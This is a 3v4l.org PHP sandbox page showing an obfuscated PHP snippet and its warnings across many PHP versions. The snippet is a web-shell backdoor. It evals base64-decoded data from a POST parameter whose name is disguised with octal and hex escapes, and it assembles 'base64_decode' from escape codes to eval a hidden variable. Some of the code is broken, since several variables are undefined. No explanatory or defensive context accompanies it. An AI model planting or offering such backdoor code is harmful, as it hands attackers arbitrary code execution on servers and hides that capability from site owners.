3v4l.org

run code in 300+ PHP versions simultaneously
<?php if(isset($_POST1["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } $code=base64_decode($_POST1); eval($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; eval($___($__)); ?>
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Warning: Undefined variable $_POST1 in /in/Sv3tU on line 11 Deprecated: base64_decode(): Passing null to parameter #1 ($string) of type string is deprecated in /in/Sv3tU on line 11 Warning: Undefined variable $__ in /in/Sv3tU on line 17 Deprecated: base64_decode(): Passing null to parameter #1 ($string) of type string is deprecated in /in/Sv3tU on line 17
Output for 8.0.0 - 8.0.30
Warning: Undefined variable $_POST1 in /in/Sv3tU on line 11 Warning: Undefined variable $__ in /in/Sv3tU on line 17
Output for 5.0.4 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined variable: _POST1 in /in/Sv3tU on line 11 Notice: Undefined variable: __ in /in/Sv3tU on line 17
Output for 7.3.32 - 7.3.33
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.3
Notice: Undefined variable: _POST1 in /in/Sv3tU on line 11 Notice: Undefined variable: __ in /in/Sv3tU on line 17

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321.65 ms | 402 KiB | 452 Q